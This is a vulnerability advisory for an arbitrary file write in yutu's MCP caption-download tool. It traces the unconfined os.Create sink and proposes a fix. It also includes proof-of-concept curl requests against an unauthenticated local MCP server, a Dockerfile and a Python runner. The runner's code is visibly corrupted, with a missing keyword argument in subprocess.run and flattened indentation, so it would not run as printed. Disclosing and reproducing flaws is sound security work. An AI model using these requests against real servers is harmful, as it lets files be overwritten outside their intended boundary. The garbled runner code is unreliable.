CVE-2026-50158

Arbitrary File Write via MCP caption-download Tool

The caption-download MCP tool in yutu passes the caller-supplied file parameter directly to os.Create() at pkg/caption/caption.go:272 without any path validation, canonicalization, or confinement to the pkg.Root boundary (YUTU_ROOT). A local attacker, or any process able to reach the HTTP MCP server, can write arbitrary content to any path writable by the yutu process, entirely outside the intended working directory. This is a High severity vulnerability (CVSS 7.7) with high integrity and availability impact.

Details

yutu uses pkg.Root (backed by Go 1.24's os.OpenRoot) to restrict all file I/O to the YUTU_ROOT directory. Every other caption file-write path honours this boundary:

Caption.Download() is the sole outlier. The attacker-controlled file field flows without restriction from the MCP tool input schema to a raw os.Create() call:

1. Source, cmd/caption/download.go:32–41: downloadInSchema declares file as a required string field in the MCP JSON input schema.
2. Binding, cmd/caption/download.go:61–64: cobramcp.GenToolHandler maps MCP input to input.Download(writer).
3. Sink, pkg/caption/caption.go:272: os.Create(c.File) creates or truncates the file at the attacker-supplied path.
4. Write, pkg/caption/caption.go:280: file.Write(body) writes the downloaded caption bytes to that path.

// cmd/caption/download.go
var downloadInSchema = &jsonschema.Schema{
    Required: []string{"ids", "file"},          // line 34
    // ...
    "file": {Type: "string", Description: fileUsage},  // line 40
}

// cobramcp.GenToolHandler binds MCP → handler (line 61-64)
cobramcp.GenToolHandler(downloadTool, func(input caption.Caption, writer io.Writer) error {
    return input.Download(writer)
})

// pkg/caption/caption.go
body, err := io.ReadAll(res.Body)   // line 267
file, err := os.Create(c.File)      // line 272  ← unconfined sink
// ...
_, err = file.Write(body)           // line 280

The caption-download tool is registered by default in init() at cmd/caption/download.go:52, and the HTTP MCP server starts with --auth defaulting to false (cmd/mcp.go:42), meaning no authentication is required for local HTTP callers.

Recommended fix:

--- a/pkg/caption/caption.go
+++ b/pkg/caption/caption.go
@@
-       file, err := os.Create(c.File)
+       file, err := pkg.Root.OpenFile(c.File, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, 0600)
        if err != nil {
                return errors.Join(errDownloadCaption, err)
        }

PoC

Prerequisites:

• yutu 0.0.0-dev / commit 351c99d
• Valid YUTU_CREDENTIAL and YUTU_CACHE_TOKEN available
• yutu MCP server running in HTTP mode

Docker-based reproduction (no live credentials needed):

The self-contained PoC builds a binary that exercises caption.Download() directly inside a container, with YUTU_ROOT=/tmp/yutu_safe_root as the confinement boundary.

# From the report workspace root:
docker build --no-cache -t yutu-vuln001-poc \
    -f vuln-001/Dockerfile \
    reports/mcp_49_eat-pray-ai__yutu

docker run --rm yutu-vuln001-poc

Expected output confirms:

• pkg.Root.Open("/tmp/poc-arbitrary-write.txt") is correctly rejected with path escapes from parent (control).
• caption.Download() with file="/tmp/poc-arbitrary-write.txt" succeeds and creates a 79-byte file outside YUTU_ROOT (exploit).

Live MCP server reproduction:

# Start the HTTP MCP server (no auth by default)
yutu mcp --mode http --port 8216

# Initialise session
curl -sD /tmp/yutu.headers \
  -H 'Content-Type: application/json' \
  -H 'Accept: application/json, text/event-stream' \
  http://localhost:8216/mcp \
  -d '{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2025-06-18","capabilities":{},"clientInfo":{"name":"poc","version":"1"}}}' \
  >/tmp/yutu.init

SID=$(awk 'tolower($1)=="mcp-session-id:"{print $2}' /tmp/yutu.headers | tr -d '\r')

# Exploit: write caption to arbitrary path
# Replace CAPTION_ID with a caption id accessible by the configured token
curl -s \
  -H 'Content-Type: application/json' \
  -H 'Accept: application/json, text/event-stream' \
  ${SID:+-H "Mcp-Session-Id: $SID"} \
  http://localhost:8216/mcp \
  -d '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"caption-download","arguments":{"ids":["CAPTION_ID"],"file":"/tmp/yutu-cve-poc.srt","tfmt":"srt"}}}'

# Verify file was written outside YUTU_ROOT
test -s /tmp/yutu-cve-poc.srt && ls -l /tmp/yutu-cve-poc.srt

Reproduction artifacts

Dockerfile

# VULN-001 PoC Dockerfile
# Build con: reports/mcp_49_eat-pray-ai__yutu/
# repo/ - the cloned yutu repository
# vuln-001/ - this workspace (Dockerfile, poc_main.go)

FROM golang:1.26 AS builder
WORKDIR /build

# Copy the yutu source tree (provides the vulnerable packages)
COPY repo/ .

# Inject PoC as a new command package (does not modify existing source)
RUN mkdir -p cmd/poc_exploit
COPY vuln-001/poc_main.go cmd/poc_exploit/main.go

# Build the PoC binary (static, no CGO needed)
RUN CGO_ENABLED=0 go build -o /poc ./cmd/poc_exploit/

# ── Runtime stage ──────────────────────────────────────────────────────────
FROM debian:12-slim

COPY --from=builder /poc /poc

# YUTU_ROOT defines the pkg.Root confinement boundary.
# The PoC writes to /tmp/poc-arbitrary-write.txt which is OUTSIDE this root,
# demonstrating the os.Create bypass.
ENV YUTU_ROOT=/tmp/yutu_safe_root

RUN mkdir -p /tmp/yutu_safe_root

CMD ["/poc"]

poc.py

#!/usr/bin/env python3
"""
VULN-001 PoC Runner
Exploit: Arbitrary File Write via MCP caption-download (CWE-73)
Target : pkg/caption/caption.go:272 -- os.Create(c.File) without pkg.Root confinement

Usage: python3 poc.py
"""
import os
import subprocess
import sys

VULN_DIR = os.path.dirname(os.path.abspath(__file__))
CONTEXT_DIR = os.path.dirname(VULN_DIR) # mcp_49_eat-pray-ai__yutu/
DOCKERFILE = os.path.join(VULN_DIR, "Dockerfile")
IMAGE_NAME = "yutu-vuln001-poc"


def run(cmd, check=False, **kwargs):
 print("$ " + " ".join(str(a) for a in cmd))
 result = subprocess.run(cmd, =True, **kwargs)
 return result


def main():
 print("=" * 70)
 print("VULN-001: Arbitrary File Write via MCP caption-download")
 print("CWE-73 | pkg/caption/caption.go:272 | os.Create(c.File)")
 print("=" * 70)

 # ── Build ────────────────────────────────────────────────────────────────
 build_cmd = [
 "docker", "build",
 "--no-cache",
 "-t", IMAGE_NAME,
 "-f", DOCKERFILE,
 CONTEXT_DIR,
 ]
 print("\n[Step 1] Building Docker image ...")
 result = run(build_cmd, capture_output=False)
 if result.returncode != 0:
 print("\n[FAIL] Docker build failed.", file=sys.stderr)
 sys.exit(1)

 # ── Run ──────────────────────────────────────────────────────────────────
 run_cmd = ["docker", "run", "--rm", IMAGE_NAME]
 print("\n[Step 2] Running PoC container ...")
 result = run(run_cmd, capture_output=True)

 stdout = result.stdout or ""
 stderr = result.stderr or ""
 print(stdout, end="")
 if stderr:
 print(stderr, end="", file=sys.stderr)

 # ── Verdict ──────────────────────────────────────────────────────────────
 passed = (
 result.returncode == 0
 and "VULNERABILITY CONFIRMED" in stdout
 and "PASS" in stdout
 and "os.Create bypasses pkg.Root" in stdout
 )

 if passed:
 print("\n[RESULT] PASS, vulnerability dynamically reproduced.")
 else:
 print(f"\n[RESULT] FAIL, container exit code {result.returncode}.", file=sys.stderr)
 sys.exit(1)


if __name__ == "__main__":
 main()